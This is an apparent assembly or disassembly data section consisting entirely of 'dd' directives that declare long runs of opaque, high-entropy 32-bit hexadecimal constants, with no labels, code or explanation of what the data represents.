dd 497DBEAFh, 76B597B0h, 5695C326h, 0F8D71B61h, 9876E607h
dd 0CBD42DF1h, 93AE7CD1h, 80C2AFCAh, 220E56EBh, 1B95E774h
dd 3CC5951Ch, 530C7FADh, 52128731h, 0F16C8F84h, 448CA4B3h
dd 38BD009Ah, 104AE473h, 9AC90C9Ch, 70DF3B6Ch, 4B605662h
dd 0B0A28880h, 644093A9h, 91F634Ch, 4EC54577h, 5A6F893h
dd 9A844241h, 8E37D009h, 4C965C01h, 0DB911863h, 8331426Eh
dd 0FC64C26Dh, 1B890BAAh, 8CB01434h, 5CE07B26h, 5597A425h
dd 0B6243597h, 0AB1BA459h, 14C101F2h, 0F6F557DBh, 78CEBEFBh
dd 7CCAF69h, 0B5F56B8Fh, 1D481AE8h, 80257755h, 4F6041Bh
dd 3FCA7255h, 2F2A4F05h, 8A3D2D7Ah, 1AC56C36h, 7C2EF98h
dd 0B8451C39h, 0EC3BC2E5h, 0E7360DF7h, 8E594C1Bh, 48E53719h
dd 0E80564DDh, 0FF514E4Eh, 0B96C8D2Bh, 7E1E2875h, 0E5926F79h
dd 5A35833Ch, 0D8C9F3A4h, 5DA1EA5h, 55CE8AA2h, 0F3AD9EDAh
dd 57814B94h, 26E47852h, 4E277021h, 67F76FEBh, 25E7E521h
dd 0F222810h, 0D2E0D1FCh, 6E84C384h, 6A41E094h, 5F9D175h
dd 0B14D70D8h, 83F43A09h, 49F0EBDDh, 495FDA4Dh, 4AEC4177h
dd 67BAEBBAh, 0C500EE49h, 1CFFD6D6h, 2241C817h, 2C714DAFh
dd 0BE35A5F3h, 0ED4180ABh, 0BAA83AC1h, 0CC57406Ch, 3167D8ADh
dd 0C23EC271h, 3FE6EE3h, 0F6EC9B17h, 0BDDB28BAh, 2D714C45h
dd 0B6C6791Dh, 8CC8B918h, 450C91EBh, 0F966B5F1h, 0B537174Dh
dd 0A5A655DBh, 5382D34Dh, 672D6390h, 740D9384h, 72FED6A7h
dd 8BF27B34h, 0F4336936h, 95FA6022h, 759CAF79h, 3C89B433h
dd 5AC3C130h, 0C6A4E070h, 5DD7414h, 0E6712D9Fh, 0FD001233h
dd 43BB9B4Fh, 0A67AED8Eh, 56C887BCh, 0DA3001BDh, 9768BAEDh
dd 93BC0672h, 3982CCA4h, 23AF0D53h, 8CF648BDh, 94953DE4h
dd 0FBB5C516h, 480168C6h, 0C1B14D53h, 0F983585Ch, 0CC0908A8h
dd 57912FE4h, 21A71785h, 0FDE5B9D2h, 0C2D4AF38h, 0C93BD01Bh
dd 0D37EB357h, 0F001F104h, 0F65D306Ah, 927C84C1h, 64342526h
dd 0B64B1021h, 0ADEFB08Ch, 0D7432C47h, 6581C6EFh, 0D8C55240h
dd 86CC6075h, 0D880675Fh, 0B26D12ABh, 84776E24h, 4D78C7E7h
dd 0CBCF574Ah, 993DE5DBh, 0FD19E6Dh, 0F222B447h, 113E959Dh
dd 97950FFAh, 5EE35A4Bh, 703DD64Fh, 0FE9F088Bh, 53C8C4F1h
dd 50980DBDh, 0E0A2E5E2h, 6FDDD4D8h, 9DB5B316h, 0AB8A4B73h
dd 6B3875ABh, 0F054130Eh, 0EFE4D9BFh, 0C6C8EB4Eh, 4E4D6DEDh
dd 0CB3610B1h, 45618F1Eh, 0FACFE28Dh, 20BF1926h, 66B5F4E3h
dd 2E85E10Eh, 722F5D5Ch, 0E1DC01EBh, 0D021C641h, 9CAD991Ch
dd 847BF48Ch, 6532AA8Bh, 0A3DAB99h, 0BC044CEEh, 934FBFEBh
dd 2A974170h, 8E6A5FB0h, 88BAF17Fh, 2ADEF244h, 0FB54EE16h
dd 11523661h, 0F7865F73h, 34154A13h, 0A77C25C5h, 9E062001h
dd 93E299F1h, 11190C71h, 0E252B74Dh, 7020F72Eh, 9B4F4BB0h
dd 4C372CBBh, 44D75697h, 106C9C66h, 223E1C2Fh, 8663228Dh
dd 1668DDCCh, 58129973h, 43D99F7Ah, 7E510D22h, 0B5B47C82h
dd 2AC0D609h, 74B6DC8Dh, 0EB296797h, 0DB39C291h, 3F6DD787h
dd 0DB539EEDh, 6D8C772h, 563CE839h, 0C8E6F3ECh, 0FC70F156h
dd 40DFBFFAh, 0C8DB7E1Eh, 8894583h, 0EF921EAEh, 19E50994h
dd 6E5BC32Eh, 6D4C9B8Dh, 6A6FA42Ch, 0CB6570ABh, 4B9C8DFAh
dd 0A4189C8Eh, 0B9FF026Ah, 82413D26h, 627BC3D6h, 79873948h
dd 601DEA46h, 74FB0420h, 6ABEBEA1h, 0D5196221h, 7C21E0FCh
dd 340D6241h, 0A581946Ah, 0A8BF308Dh, 3D4DC693h, 0E28645C6h
dd 4A768BC2h, 279A2846h, 5DA6042Dh, 0B9024AC8h, 241DD84h
dd 29110DACh, 0DBEB0DFh, 765B00EEh, 0B7EA6256h, 91C34EF2h
dd 2D8CA27h, 3114A4B2h, 0A37FCC33h, 0A80666FFh, 0A134C568h
dd 25BC9639h, 0F8849DCCh, 0F082101Bh, 6E4BECEAh, 8C16ED24h
dd 0C9FA99E9h, 0F6D5684h, 8DFA53C7h, 19472941h, 0C5ECB2AFh
dd 2AD82EEBh, 0C5975BCEh, 10BD181Fh, 0EB0D2BAAh, 0DE19DD1Ch
dd 2BAC8DDAh, 644C8CC8h, 8DDD0E44h, 0A7A74425h, 7E3B18FEh
dd 0DCA4F15Eh, 772F4DA7h, 0E159126Ah, 33061EBDh, 437BE3F2h
dd 0CD8E1F92h, 0DD759372h, 0A194B5B0h, 384A7F2Eh, 5EAB5B73h
dd 5F91517Fh, 70A7A74Fh, 53A3F251h, 0FE459403h, 0F4B1D073h
dd 0B5EA7CBEh, 5FF103DDh, 0F37DCAE2h, 39C9DD85h, 55DDDC4Bh
dd 193D048Ch, 27D2293Dh
dd 7D7E1609h, 75DEA55Fh, 97CCBE85h, 0D28B95EAh, 0A1AEED8Ah
dd 7A1D1474h, 0DAC68EF9h, 0A304DA2Fh, 10828EE3h, 838A30D2h
dd 192EAFBBh, 9209B8EFh, 21B7EB46h, 7B42D3CAh, 1D3E5C29h
dd 1F545976h, 74D7024Ch, 0A4E6784Eh, 8F2F8D2Dh, 0EC335296h
dd 1F46F75Dh, 0BD977B0h, 56AA7DAFh, 0DB2F5505h, 4D749185h
dd 59A49626h, 39CF44F3h, 125175AFh, 0E1C53AB6h, 70311CB9h
dd 0EB5B60A2h, 3814505Ch, 0A410AF30h, 0AEAA88DFh, 0C6FDA533h
dd 481BFFF8h, 524FA9B2h, 42BBA585h, 0F126A2A9h, 4C3E2546h
dd 76A60B1Ch, 0F486053Eh, 0C1B44F6Dh, 0FADD759Ch, 22A3A941h
dd 383508D4h, 0DF8F9D81h, 0AA568E85h, 5C810A37h, 0DC2791B0h
dd 5F92F5AEh, 8DC7B373h, 0BA6E6A35h, 6EFFA2BEh, 94A6CB58h
dd 2DA447F3h, 30CFA347h, 0B7C0DDC4h, 7EE80EBh, 0AFE10C0h
dd 3367013Fh, 72446696h, 0B23AF723h, 0CDEF5C03h, 5109B6ADh
dd 0F8ABD795h, 0DFFAA2B0h, 0A6B906FBh, 6F9F1799h, 6B166F53h
dd 8089C6AEh, 0DC6C60B0h, 8321E656h, 0AA1D00F7h, 4E6580A1h
dd 4BEA1651h, 75AD368Bh, 0E26D6306h, 0F8A40D99h, 5625EA4Dh
dd 1D8E99E0h, 0D4FCB685h, 0CC22AF8Ah, 16A85699h, 0E26AC5D7h
dd 1A5B2F59h, 5C2B542Eh, 0BA158F7Ch, 0B21321DFh, 0C38201A9h
dd 0A068CE08h, 3D26B910h, 0C4337DDDh, 0D039EC01h, 98EF2D67h
dd 0B475DFEFh, 0EDD02AB9h, 0B86115C9h, 0AF9EBCF7h, 6C9FA4A2h
dd 0A56430A9h, 333A2A5Bh, 18FC2676h, 721B47BDh, 586D7DD9h
dd 0B56D8C2Bh, 0F8E377B7h, 0A2864321h, 0FBE99DD1h, 85E6A57Ah
dd 6FDDCC38h, 0F9241BCCh, 0DFAFD34h, 827B6C93h, 0E7DD57B5h
dd 0F040B346h, 19E2DECDh, 390BC98Fh, 1DA62BBAh, 0F98B84DAh
dd 0B6B683h, 89FBD052h, 472A0E29h, 79EA9F04h, 0EFBA6DADh
dd 93F454F1h, 9F19CEC7h, 76C07CDEh, 46A0169Fh, 747180B0h
dd 0C9FA7923h, 5E329AB4h, 0DA0754CEh, 0B0FD71D2h, 0C4C3201h
dd 9BFD13CAh, 321302Dh, 2C3484BDh, 26C13356h, 80365C21h
dd 0AA420949h, 93326EF8h, 85A6E715h, 0C0BE9D6Bh, 0A50A7450h
dd 6F2CD459h, 0DBC7D532h, 66AE7EA8h, 98A25E25h, 732C10FEh
dd 761ED1C3h, 1147E8E2h, 0F5D4C2DAh, 0AB9C5AE5h, 80805AFCh
dd 0DC75979Bh, 28E7ECBDh, 81B713F3h, 0F011E61h, 69285737h
dd 93C22F4Eh, 5CBAE8D2h, 2C4A2EDFh, 5063BEC8h, 4078C9CEh
dd 56D43651h, 0D5D56548h, 2EF86FF2h, 9A8D8B98h, 8AB8B72h
dd 9ECD197Ch, 0DABB19DFh, 84AC1FFDh, 60E9E227h, 0ACBA18D4h
dd 0D351C701h, 0B521FB12h, 87D2D951h, 0B9116DC6h, 0FE72C8DDh
dd 538E10E1h, 49ED364Ch, 5565B08Fh, 353C453Bh, 166DF8CEh
dd 0F8F9EBDAh, 0D4E706A8h, 2366BE7Ah, 0CCF7C60Fh, 10488B55h
dd 900628CCh, 418373F0h, 0E4A10801h, 168D1513h, 0A68A14EAh
dd 0A8AF559Eh, 0B06AD09Dh, 30F6BE7h, 56541C3Dh, 8B57A101h
dd 0DCB7C13Fh, 48FD2382h, 4E72C62Ah, 0F4259232h, 0D9EFE95Eh
dd 0BB096F4Fh, 0AC547200h, 0B965C54Fh, 0B19DCDA7h, 2EA8A97Ah
dd 0DE5D9FE0h, 0CA466E82h, 770F1394h, 0C8B66AC0h, 6FFA725Bh
dd 0FC63586Eh, 9E6DEFh, 2DB130FBh, 6E2B1682h, 0C14509A6h
dd 5DA32C5h, 23C7062Ah, 0A55B4DD3h, 25A9C62Ch, 0B51D104h
dd 962AF28Ah, 0BEBA1756h, 0ABEB1B77h, 2CE30883h, 92FC3E99h
dd 0F24B09E6h, 18A3B8FAh, 9D6AFC79h, 0E6E4CE4Bh, 0E4CB5722h
dd 6537588Eh, 9B83FD0Eh, 0CA1B1CE6h, 7413E22Fh, 0EC115E62h
dd 5234B2DBh, 0E9E142E0h, 2DE3D8F7h, 0D5AF3884h, 81D3928Ah
dd 0A3EA8358h, 1B91FB69h, 149CE815h, 4DB085A0h, 0D2F59EE2h
dd 36FA2EB7h, 0DDF913Ch, 0FE1B44A0h, 36AC99Ah, 0B4C1C9D5h
dd 6BC06E8Eh, 7976DC55h, 74ACECAAh, 0F7F451C3h, 19182A93h
dd 67BEC2C8h, 0F5731554h, 0B9DBC8C1h, 0C4A721B5h, 821EB240h
dd 0E1C7E110h, 19953B85h, 32E39699h, 2F39FAE9h, 0D0D17DD6h
dd 26AB5A62h, 90C7204h, 6A68737h, 0FA139E1Fh, 0A5154447h
dd 2E74F90Ah, 4CEBC048h, 4DFD5C7Eh, 3A5577DBh, 0D8DD7D82h
dd 0D5CB275Bh, 0D8FD5A0h, 618ED070h, 0B08A33C8h, 0C2550866h
dd 0FBE6BD91h, 5F1D10B0h, 22A2967Ah, 0DB1DBBBBh, 9E7B4387h
dd 0E80C9601h, 27DADD67h, 0C8EF1988h, 3FA9899Ch, 9E4195A2h
dd 1F55B380h, 21518CCh, 0B4159B6Ch, 0DB1296D8h, 3EDCC5B7h
dd 0DFA0CCB2h, 8B13D2DBh, 6AFA8A86h, 10375639h, 443D67B7h
dd 46EE9D19h, 9E9BB007h, 7B8D4A83h, 9F7A2381h, 0BC54AB91h
dd 0B25C8B1Dh, 0E9CD4BDBh, 0E71D96FEh, 21BFBFC1h, 10955A44h
dd 9F61F64Eh, 2756D93Eh, 9FB701E5h, 2AA9E2C5h, 6304FDC9h
dd 171D011Ah, 76035C0Ch, 0C380A1A0h, 40B84E22h, 1F1B1685h
dd 33D29557h, 0CF8893A6h, 4FA2446Ah, 0BD348F7Eh, 13AC8CA0h
dd 991FCAF3h, 97189D03h, 0F97DDE6Fh, 0E9F93561h, 0C7FFF1A2h
dd 765F0B74h, 5BCFB7CDh, 0F1F0A6BCh, 40B9E080h, 0E1ED6E3h
dd 0ADE08D85h, 1096C3ECh, 0D579E1F9h, 0BAB715DDh, 809457F8h
dd 0E4EFEF54h, 7CF56DE3h, 0C64C07EBh, 58F478BDh, 736B09FCh
dd 15CF1E00h, 79E659F5h, 6B51BC01h, 3688CA8Ch, 53C0D97Fh
dd 23A133A5h, 609E6A53h, 7AE48119h, 3475F73Fh, 40860A2Dh
dd 0DE7138C0h, 0C737138Fh, 2BF597Dh, 0EEB3AF94h, 53DFB5D9h
dd 2043147Fh, 0EF407CFBh, 2EE1FF7Ch, 0BE342479h, 5D5E8BE8h
dd 77BEE88Ah, 1F679B1Dh, 1541DE34h, 53AFA68Bh, 6507B81Fh
dd 0F143751Ah, 926E01F7h, 349DF477h, 3937294Ch, 0E245ACE6h
dd 0D84D20Ah, 96CD0599h, 418FE157h, 0A27A0624h, 7AB4C276h
dd 0FC611C6Bh, 18999CA5h, 73D24C19h, 33797A9Dh, 855071FFh
dd 0F2A66B80h, 68D3124Bh, 799AFFC6h, 5F1ED214h, 61620303h
dd 4DF3A45Ch, 4C6E71F4h, 5B9F92F1h, 49BFCF22h, 8F0BC006h
dd 3013CE5Ah, 91B31A0h, 7878DB74h, 0CE189265h, 0E58C9AB2h
dd 0C29CF372h, 0EF383503h, 2CD5377Bh, 611CF364h, 6BAA72F1h
dd 54624204h, 84425C72h, 4DF7363Dh, 1420F1FBh, 0D93C8BD3h
dd 0F4806179h, 70D9FD1Dh, 0BFAD388Eh, 19147AFCh, 275EB68Ch
dd 10B80AD3h, 0A4FED7CDh, 978F5F25h, 16B0683Eh, 32A7FF5Eh
dd 0B5E1CB40h, 87237CCDh, 62C9388Bh, 203E0A53h, 7849245Ch
dd 0BE6CBCB5h, 0A3143A4h, 1B77E13h, 505D2733h, 8F6C7FB8h
dd 0ED583CA0h, 0A4DB0C38h, 992B6058h, 7235EC50h, 0B6C009D1h
dd 7F4734C7h, 96C5BB7Fh, 0FC5021EFh, 114796DBh, 5A7622D9h
dd 1D113E62h, 84B4AA86h, 608DB449h, 3DCF933Dh, 9D96BAFBh
dd 997AC07h, 777E8198h, 6CCCBAA8h, 0B4D43EE6h, 0FA9713F8h
dd 0F214A8F8h, 0A3C69F5Ah, 0E69371AFh, 8624F27Ah, 2BEDDBC2h
dd 92475636h, 0E375569Eh, 0F9EA6922h, 0C431085Fh, 96CCAB19h
dd 0A5EF7ED9h, 0ACC827C2h, 0A9493451h, 1F4FCC7Eh, 7763105Bh
dd 0DB0AAD34h, 8F94DC2Fh, 0C6AA6666h, 83D159DDh, 2C98BE2Eh
dd 9A67F928h, 5628E172h, 0EBCC91DAh, 0ABB90381h, 64E7C97Fh
dd 0B6F724F3h, 1020245Bh, 1F58DEFCh, 8AA20ABAh, 0E30791FFh
dd 0CAD4685Eh, 54DF4966h, 91F5031Dh, 0FC3FCDB1h, 0EC98908Bh
dd 9BCDF4h, 99F07F52h, 609674C4h, 0DCBE1704h, 0E557895Eh
dd 0DFCC26A5h, 1A33640h, 21A69967h, 0C037FE3Fh, 1F065365h
dd 0E9E91775h, 9B16E4B4h, 0B92487DFh, 96769382h, 4913569Ch
dd 81279EBh, 226ED93Eh, 5B172326h, 0B37B30BAh, 24CE2953h
dd 30277ACAh, 62A4DAD7h
dd 0F5FEDBD7h, 0F3EE4E20h, 880F8BAFh, 0F630F781h, 83069582h
dd 0BCE9583Bh, 0FFA7930Ah, 0A35728CAh, 0EEA7DC45h, 6F698A9Ah
dd 524E1B55h, 56AA70F3h, 78E28CF7h, 0CC1193D4h, 7415422h
dd 392F470Fh, 6A46FD0Ch, 77F221C4h, 130E2CA1h, 0A72DE094h
dd 0A8709607h, 7722653Dh, 70D98503h, 652125CDh, 0EDCF41F3h
dd 1A0E5A9Fh, 9DC40D64h, 0F49ADB3Ch, 0F15E094h, 479DAAEh
dd 0F74B777h, 71C0F3C4h, 1CE17DE0h, 0C53BB09h, 0B66D7D3Bh
dd 0E1AB0AC4h, 0EB0179BAh, 1775735Ah, 5049B653h, 40D1E025h
dd 0C9A4026h, 20BA4044h, 8A5181F1h, 1052134h, 31C99793h
dd 0C1D866A8h, 0A6A02B18h, 50F69D3h, 0E5EBA6C0h, 53AF8BECh
dd 0E8DEDACAh, 0A045F6E9h, 9BCE135Fh, 19C69DBFh, 0D9490C2Bh
dd 2FA18E8h, 335B5859h, 0C00DEAE5h, 0D40F39F1h, 0F0E10A43h
dd 922EDF76h, 8212446Ah, 0CE75A963h, 0F78BCB8Fh, 357963CDh
dd 9EBCE63Ah, 432C5110h, 2062B9A5h, 2F4E2E37h, 0D6CE12DAh
dd 0E346D044h, 69ACCF92h, 76101EF7h, 3349CA96h, 9054FD05h
dd 0B2CB0EB5h, 0A04225D3h, 0ED07E376h, 0D12E1A0h, 43C84BECh
dd 0F45D1FC7h, 0F79601F8h, 6B3AC0CEh, 33CB9BF4h, 0C7678C37h
dd 0BF89D2ACh, 7763AB3Ch, 72C9FEF6h, 7866F9A8h, 869E00F0h
dd 0BEFA4240h, 1C06575Dh, 572417FAh, 282D23B8h, 0B29E897h
dd 0D3CD6687h, 4CE2F2C8h, 49B99105h, 5B1847F6h, 4391438Eh
dd 89CCFE1h, 0E774A53Eh, 9C91487Eh, 1838E322h, 8CF68B34h
dd 7001139Bh, 98896A2h, 2FC6DA6Eh, 107F5660h, 0F540C9h
dd 0CEA57CF6h, 69EC6FD3h, 0D02DD964h, 636F5C44h, 2F3DBDF9h
dd 260A435Dh, 0A99420DDh, 0E9FD9FC7h, 7E4B1560h, 0B80DB36h
dd 767FDD93h, 32385FECh, 0C7D9C439h, 9128BC5Dh, 5897C20h
dd 72D7D43Fh, 87A07A06h, 2C2D9A12h, 12069D21h, 1C1F3174h
dd 0DADF4DE3h, 62A434B5h, 0BADA1D39h, 0CF571312h, 0D787AFA2h
dd 5BB9EA4h, 3CB7648Ah, 74AD15ABh, 530EED86h, 0B1054C0Dh
dd 1E748CD8h, 8D26332Dh, 544B23Ah, 0F45DD6DDh, 0D43CA7B7h
dd 16E66F52h, 0EEA34093h, 3DF6376Fh, 0ADD25709h, 46159043h
dd 0FBCE1C88h, 0D94C36AAh, 0D01CBE0Bh, 6E533074h, 73206503h
dd 8E0F9D27h, 0E64CA1CFh, 1F1DDE99h, 9C2AD61Bh, 0E5C480Ah
dd 2E669EB3h, 0E325FB7Bh, 4580A76Dh, 0CCE4EB43h, 0EE573E70h
dd 17BD4D70h, 0F4434228h, 84F51B40h, 0CF52CB54h, 0E6BCBFCDh
dd 0D4944CF6h, 0AD445D9h, 0D6084FB9h, 1B7A2370h, 586BDC4Dh
dd 361D67B6h, 0E21D747Ch, 7CA6485h, 0A5B57F3h, 0DA5971CAh
dd 1D7B8DBAh, 51E87CABh, 0EFF5CC8Bh, 990E87B0h, 0F3EA8B9h
dd 43D43996h, 0DD00F50h, 0B3B3C589h, 81681C4Ch, 94222DEEh
dd 0AD838153h, 0BD7DC9EFh, 6169412Fh, 25526763h, 0FCDC02B7h
dd 0ED552FC8h, 774ECB79h, 913E5079h, 6A842792h, 170D0ECAh
dd 0DFAEF8Fh, 6BA8E4DEh, 0C7796CD4h, 570CB528h, 4A51E86Dh
dd 0A75D3B30h, 0F32201Dh, 0E2475DA2h, 0FC3764BAh, 0D01E96Eh
dd 0B63B4128h, 7F717F62h, 5873D1E6h, 5A674499h, 97A8BA4Bh
dd 0B513A79Bh, 446E52F1h, 6EA5B3EFh, 0B54E2784h, 0A33A182h
dd 44BC5108h, 4A1C27FBh, 1E5B6271h, 5DBF45DFh, 3D95E27Ah
dd 0E94A7DADh, 0D1728D53h, 0F94A8992h, 59D1C87Ch, 0D414A107h
dd 5E9D1E31h, 0BD181638h, 0D461D514h, 0EB2FFDF5h, 28621E95h
dd 33F50FA2h, 4C4F8A91h, 0ABEE0A3Bh, 0D5764E2Bh, 49ED2280h
dd 5ADB472Fh, 472D304Fh, 16F40AE4h, 991761C3h, 38198EE7h
dd 0AD70DE14h, 742B5D7Dh, 0D31468FCh, 96066FAh, 0B38042B9h
dd 22A8F494h, 3D1E02Bh, 17AADE4Ah, 0C7E5D28h, 6FD8CCBBh
dd 710DD00Ch, 78CAB5F2h, 9F5F94A5h, 6869DF39h, 0D6F2C625h
dd 42757445h, 2C673FF9h, 0A6187E20h, 28A305EDh, 0EE9376F1h
dd 0AF2789B6h, 0ABA35551h, 0C2A953B6h, 0E64E62B1h, 8D71FDF2h
dd 7933561Dh, 4C198509h, 5F4C7C30h, 4FE02B29h, 6202DCECh
dd 3C11DC53h, 0F1C09FF5h, 539757h, 7C602D9Dh, 81A2F26Ch
dd 484113FCh, 74ED7628h, 7EC47D7Eh, 5ED8366Dh, 1B77B1BBh
dd 0E81F4878h, 0E467F489h, 815C0C47h, 2E602BF0h, 36CF286Ch
dd 3F9BFAE6h, 0EC9A5189h, 0BCB7BADh, 4DF91393h, 0FE38D12Eh
dd 753A6670h, 8ED85D27h, 0A29978BBh, 9F88EAE4h, 0EE8A4EF1h
dd 0D4CD1054h, 5732F2EBh, 3D27BD2Ch, 984406D3h, 3CDD4852h
dd 6B7E1660h, 0C228A26Ch, 3C24EC7h, 0F259E341h, 45CBD11Fh
dd 16AF5F0Fh, 19285453h, 0B8F495ACh, 78C51E6Dh, 0FBDB2485h
dd 3D7E86EAh, 0DFB755A3h, 7EE8D961h, 9F087F85h, 168418FFh
dd 415FC3Ah, 0EF49E764h, 5E4E60DFh, 0CEA908C9h, 9AD64CDCh
dd 0ADD87CBDh, 992C649Ch, 0A6A77778h, 1EF6B15Dh, 26F75A90h
dd 0B66B62FFh, 2E1680E3h, 75D2A07Ah, 0C215D3CCh, 769E4543h
dd 8BDE7E0Dh, 0B89FE5ACh, 648EBE95h, 68CBEC6h, 0A2312BEFh
dd 0FD58C967h, 566A9A37h, 16240B0Bh, 1AF10D36h, 8A94CFBFh
dd 1DB81358h, 0BD333CB0h, 0D501FF35h, 0F664BE2Dh, 0CD1E3C90h
dd 63EA3720h, 612977D4h, 7F377E6Bh, 0D457BA97h, 6D49758Eh
dd 6FD06A60h, 0F2945646h, 31AF090h, 0D531E17Dh, 6681598Ah
dd 0C61C5AB4h, 4E3A17B5h, 5C099A08h, 5FF1537Dh, 0F872F921h
dd 8FD6AFE5h, 0B862BDD4h, 280F314h, 62E7DFF3h, 0E277D958h
dd 6C9E01B7h, 7ACCFC78h, 6313E5F6h, 98C77F85h, 47E469B0h
dd 4004B061h, 0B826D29Ch, 222A3213h, 1182EFE8h, 0EAF09EBAh
dd 571AD371h, 4D442592h, 0E4DA5F35h, 0D1162213h, 0F8E92028h
dd 0EB629D3Eh, 0A2137187h, 0C005F312h, 0DA0732AAh, 0EB00F71h
dd 94ECF9BEh, 0F166C252h, 0B400FD31h, 7C7DCE7h, 0F922CBB9h
dd 8AE9C826h, 491AC0Eh, 0FAE46E8Eh, 0FA663094h, 0D7495E0Fh
dd 4A24A772h, 2818DB00h, 0AB5541h, 7C89E8BAh, 83F9AABDh
dd 9D32E2D6h, 12EF882h, 57B55C3Eh, 8B7B4CABh, 0FBD9C315h
dd 0F5551517h, 9B762C38h, 0E08A8475h, 0B70D439Bh, 0D5C63443h
dd 4CFAB0A8h, 0C80F15h, 55E78BD8h, 0D6462B73h, 2AEFF3CFh
dd 0ACBEE8A1h, 18917DECh, 8934A1C6h, 833FBE08h, 0BB27491h
dd 552A9A18h, 49084FB7h, 4CE61E7Eh, 0A841EA59h, 4D0CE33Ah
dd 0FB11D546h, 603DB8C9h, 0BCCDE03Eh, 0D4467CFDh, 3D681BCCh
dd 0A0A56C55h, 418D75E6h, 0FAAECC91h, 4FF7C43Dh, 22F01C03h
dd 905E7F45h, 8C6B42D5h, 0FA818AC7h, 6A85532Fh, 1660942h
dd 0DB6D13FCh, 0CA290361h, 0C97093D9h, 0FD86DB3Bh, 83013AF3h
dd 0E593F609h, 3121A08Dh, 812C4099h, 6A6E09FCh, 7E4BFCF4h
dd 90B2F5ACh, 6B83D4C3h, 7B3EF98Fh, 8C183367h, 4A5AC7FAh
dd 0DC9C0924h, 19D88C6h, 0C26C2A05h, 0A4281714h, 0D524EC4Ah
dd 0BE231148h, 8092BEB4h, 0CD6B5B1Ch, 9C8C2133h, 0E5E85506h
dd 29BF377Dh, 0D302F1Dh, 704DE78Bh, 47D58893h, 0D0CB9A39h
dd 0B8603DCDh, 9FE09FC5h, 5DB2650Ah, 1C66B0E9h, 0F4133A29h
dd 0E49284BAh, 3619AC3h, 74AAF3B1h, 6EF6A359h, 0BBCB54A9h
dd 0DDA5C81Dh, 8CC194EEh, 54322111h, 181106E4h, 0B0A6D024h
dd 0D71024A9h, 424CC144h, 9DC8277Dh, 2E213E71h, 1D5478F7h
dd 875244CCh, 66E0AD2Ah, 3FA72251h, 612EA181h, 0FD07E48Ah
dd 388E028Ch, 0C58EA87Dh, 0F080AA6Fh, 0D8B86AA6h, 38607484h
dd 94709345h, 19E78D70h, 0A40AE4DBh, 5F7625A2h, 0D1DA92E7h
dd 0D261DF8Ah, 7DCBF0B8h
dd 0D7AD9073h, 0BB3CF72Eh, 55F39DEBh, 11F1E786h, 0B0F1DF65h
dd 0C33DF3F3h, 0BB991038h, 80DBFC6h, 0C369F2D9h, 0EBB0A7D2h
dd 0A08D6580h, 8F7B241Eh, 0AF7F8D85h, 66FBB9ACh, 0BF367557h
dd 53E61514h, 9875A940h, 0FD01A953h, 26103E9Fh, 0D0419AEFh
dd 0BCE805FCh, 6F234B73h, 496C0C2Ah, 0E2E9A29Ah, 0B4B797E1h
dd 0DD06C0F2h, 78880FF4h, 0A6024AEDh, 760D3710h, 0AEA95EE2h
dd 0F0C4B6CCh, 2737D23Bh, 82E84EFDh, 709A29A7h, 0EE63BA90h
dd 448D67A9h, 49A18F41h, 1140D7FCh, 0FB329949h, 94EFD64Bh
dd 368B7402h, 825CA161h, 173C4A5Dh, 0E43DD544h, 3F9DB9D8h
dd 0FD91C53Fh, 0C0BE5C45h, 9393C5D4h, 8B2CC472h, 9E9A255Ah
dd 0EC2B5C4Ch, 0F865CE9Ah, 93D7A533h, 1EAB9AF3h, 0E0680B45h
dd 0A41322CDh, 8C31F41Ch, 0C3C89BAFh, 9D11A12Dh, 0BB2EE681h
dd 0B9E7628Fh, 88D23C82h, 857866ADh, 34E1628Dh, 9CF379B3h
dd 684BF002h, 0C79C1B1Ah, 7A886B8Ch, 0B1C51C6Fh, 72B6AD0Ah
dd 2CEEFFF0h, 79C203C5h, 0ABEDDA31h, 8F523B35h, 0E246913Ah
dd 0C0BD132Eh, 0FFA7404Ah, 29727CA3h, 0C748523Fh, 4A84A7CDh
dd 0CB42DA4Ah, 0D8E85516h, 0DCC3B756h, 0CBCC5F2Fh, 0E726AE95h
dd 0DA8B0575h, 4FD8B8F1h, 60612E9Fh, 5BE456F4h, 7DDF3914h
dd 0CCAD9AE9h, 52940707h, 22723730h, 0EBB632A4h, 4E7BBDC1h
dd 0F7A3617h, 0B96E4095h, 0DFFC53E7h, 0A588D55Bh, 6C4C9457h
dd 0BF8047AEh, 7CEFE210h, 423436FAh, 5486CE46h, 259465FFh
dd 0E2D541F0h, 0A7494C23h, 0C791A13Dh, 369BC14Dh, 7614D5B0h
dd 0C7F6968Bh, 1EA3F136h, 0C6B61B32h, 20532F83h, 5E01175Ch
dd 66FF1914h, 0DDDD8481h, 8E1E7AA3h, 1BF28627h, 7BC2F522h
dd 0C061004Dh, 0D1745D4Bh, 0D3479BC6h, 6C5C9749h, 5D47E2A2h
dd 0DFA58AD5h, 1EA7D714h, 0A6F84476h, 5B400FDCh, 6D5D294Ah
dd 0DD2B0CC6h, 3DC64CF3h, 8BAE2BD7h, 0C4CDD8E2h, 0BBB79174h
dd 0F8E1DD77h, 0A4F67514h, 6CE44D97h, 16B95CDEh, 6CE5CA2Ch
dd 8DCC47F2h, 0CEE30941h, 0C40863B7h, 0AA73BFE8h, 0EA9F6998h
dd 0EE6574B2h, 8E7AAABh, 4A65BA3Fh, 0F4DC6872h, 6E6D7E28h
dd 0C424F682h, 51FEA7DBh, 2BE48CD5h, 0D847A5CDh, 0C5EC7BD4h
dd 2EF107AAh, 36CBBFD6h, 0B4EA3E19h, 8DE4CB59h, 0A635F9C1h
dd 7306D7E4h, 0BECF8CFh, 8CA0DB34h, 67F310F8h, 0B6562185h
dd 0B645E06Ah, 742A278Bh, 714C2055h, 8055068Ch, 0EFA24B62h
dd 80FC53Ch, 0E451AAh, 6B9844D8h, 48E0B91Ch, 0A3552937h
dd 8CB5404Ah, 2EDE1C4Dh, 52266482h, 8100BC8Fh, 73CE6ECCh
dd 4AA4616Bh, 0C3D237F1h, 8B838CDFh, 58861C39h, 0ECBD63B8h
dd 67A41DF8h, 2188B8D4h, 43668A06h, 0DF1B847Ch, 0FB6F8585h
dd 0FE900143h, 0C489CFBEh, 49A4D56Ah, 0E2BD71E9h, 1B435902h
dd 286FB7BAh, 623BA3CDh, 81B4DDB6h, 32F5FFB1h, 0E7E25652h
dd 8DBA4268h, 8C83EEEDh, 91E5AECCh, 333EFBC8h, 476DF132h
dd 84DF1A4Ah, 52A46D4Ch, 44DF0C5Bh, 0A4AA6759h, 0CCBA76EAh
dd 32EEBDB2h, 0FC3CC3F4h, 74BBCB48h, 23C3EA73h, 0EC0BA30Eh
